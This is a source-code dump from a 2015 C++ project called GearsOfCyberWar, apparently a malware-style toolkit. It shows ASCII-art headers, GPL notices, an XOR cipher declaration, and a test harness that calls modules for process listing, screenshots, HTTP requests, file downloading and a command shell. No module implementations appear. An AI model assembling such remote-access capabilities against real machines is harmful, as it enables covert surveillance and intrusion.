▀██▐▒▀▐█▒▀▀ ▐▒▌ 38 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 39 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 40 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 41 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 42 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 43 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 44 | ▄█▓▀▀ ▀▀▓█▄ 45 | █▓ ▓█ 46 | ▓▒ ▒▓ 47 | ▓ ▓ 48 | // 49 | // C++ XOR Encryption/Decryption Implementation 50 | // Copyright (C) 2015 Jonathan Racicot 51 | // 52 | // This program is free software: you can redistribute it and/or modify 53 | // it under the terms of the GNU General Public License as published by 54 | // the Free Software Foundation, either version 3 of the License, or 55 | // (at your option) any later version. 56 | // 57 | // This program is distributed in the hope that it will be useful, 58 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 59 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 60 | // GNU General Public License for more details. 61 | // 62 | // You should have received a copy of the GNU General Public License 63 | // along with this program. If not, see . 64 | // 65 | // Jonathan Racicot 66 | // infectedpacket@gmail.com 67 | // 2015-03-01 68 | // C++ implementation of the XOR encryption/decryption mechanism. 69 | 70 | 71 | ▓ ▓ 72 | ▓▌ ▐▓ 73 | ▓█▄▄ ▄▄█▓ 74 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 75 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 76 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 77 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 78 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 79 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 80 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 81 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 82 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 83 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 84 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 85 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 86 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 87 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 88 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 89 | ▀▀▀████████████████████████████████████████▓▀▀▀ 90 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 91 | */ 92 | 93 | int TestXorCrypt(); 94 | 95 | /** 96 | 97 | Simple implementation of the XOR cipher. The XOR cipher is an additive 98 | cipher that operates according to the principles: 99 | A (+) 0 = A 100 | A (+) A = 0 101 | This implementation uses the characters of the given byte array and 102 | XOR each byte of the given with the corresponding byte of the given key. 103 | 104 | An array of bytes to XOR. Must contain at least 105 | one item. 106 | The number of bytes passed in CipherData. 107 | An array of bytes that act as the symmetric key to the 108 | XOR cipher. 109 | The number of bytes in the key. 110 | An array of bytes XOR'd with the given key. 111 | XOR Cipher 112 | */ 113 | unsigned char* XorCrypt(unsigned char* CipherData, unsigned int DataLength, char* Key, unsigned int KeyLength); -------------------------------------------------------------------------------- /GearsOfCyberWar/src/GearsOfCyberWar.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // Copyright (C) 2015 Jonathan Racicot 48 | // 49 | // This program is free software: you can redistribute it and/or modify 50 | // it under the terms of the GNU General Public License as published by 51 | // the Free Software Foundation, either version 3 of the License, or 52 | // (at your option) any later version. 53 | // 54 | // This program is distributed in the hope that it will be useful, 55 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 56 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 57 | // GNU General Public License for more details. 58 | // 59 | // You should have received a copy of the GNU General Public License 60 | // along with this program. If not, see . 61 | // 62 | // Jonathan Racicot 63 | // infectedpacket@gmail.com 64 | // 2015-03-01 65 | // 66 | ▓ ▓ 67 | ▓▌ ▐▓ 68 | ▓█▄▄ ▄▄█▓ 69 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 70 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 71 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 72 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 73 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 74 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 75 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 76 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 77 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 78 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 79 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 80 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 81 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 82 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 83 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 84 | ▀▀▀████████████████████████████████████████▓▀▀▀ 85 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 86 | */ 87 | #include 88 | 89 | #include "Base64.h" 90 | #include "XorCrypt.h" 91 | #include "GetProcessList.h" 92 | #include "TakeScreenshot.h" 93 | #include "SendHttpRequest.h" 94 | #include "DownloadFileFromWeb.h" 95 | #include "RandomGenerator.h" 96 | #include "Mutex.h" 97 | #include "FileIO.h" 98 | #include "CommandShell.h" 99 | 100 | int main (int argc, char* argv) { 101 | printf("GearsOfCyberWar Copyright (C) 2015 Jonathan Racicot.\n"); 102 | printf("This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n"); 103 | printf("This is free software, and you are welcome to redistribute it\n"); 104 | printf("under certain conditions; type `show c' for details.\n"); 105 | printf("\n"); 106 | 107 | int result = 0; 108 | printf("[*] Testing Base64 Encoder/Decoder...\n"); 109 | result = TestBase64(); 110 | if (result==0) { 111 | printf("[+] Result: [SUCCESS]\n"); 112 | } else { 113 | printf("[-] Result: [FAIL]\n"); 114 | } 115 | printf("[*] Testing GetProcessList function...\n"); 116 | result = TestProcessList(); 117 | printf("[*] Testing TakeScreenshot function...\n"); 118 | TestScreenshot(); 119 | printf("[*] Testing Http Connectivity...\n"); 120 | TestHttpRequest(); 121 | printf("[*] Testing DownloadFileViaUrlmon...\n"); 122 | TestDownloadFile(); 123 | printf("[*] Testing Random Generators...\n"); 124 | TestRandomGenerators(); 125 | printf("[*] Testing Mutexes...\n"); 126 | TestMutex(); 127 | printf("[*] Testing File Input/Output...\n"); 128 | TestFileIO(); 129 | printf("[*] Testing Shell...\n"); 130 | TestCommandShell(); 131 | return 0; 132 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/GetWindowsVersionInfo.h: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // Copyright (C) 2015 Jonathan Racicot 48 | // 49 | // This program is free software: you can redistribute it and/or modify 50 | // it under the terms of the GNU General Public License as published by 51 | // the Free Software Foundation, either version 3 of the License, or 52 | // (at your option) any later version. 53 | // 54 | // This program is distributed in the hope that it will be useful, 55 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 56 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 57 | // GNU General Public License for more details. 58 | // 59 | // You should have received a copy of the GNU General Public License 60 | // along with this program. If not, see . 61 | // 62 | // Jonathan Racicot 63 | // infectedpacket@gmail.com 64 | // 2015-03-01 65 | // 66 | ▓ ▓ 67 | ▓▌ ▐▓ 68 | ▓█▄▄ ▄▄█▓ 69 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 70 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 71 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 72 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 73 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 74 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 75 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 76 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 77 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 78 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 79 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 80 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 81 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 82 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 83 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 84 | ▀▀▀████████████████████████████████████████▓▀▀▀ 85 | 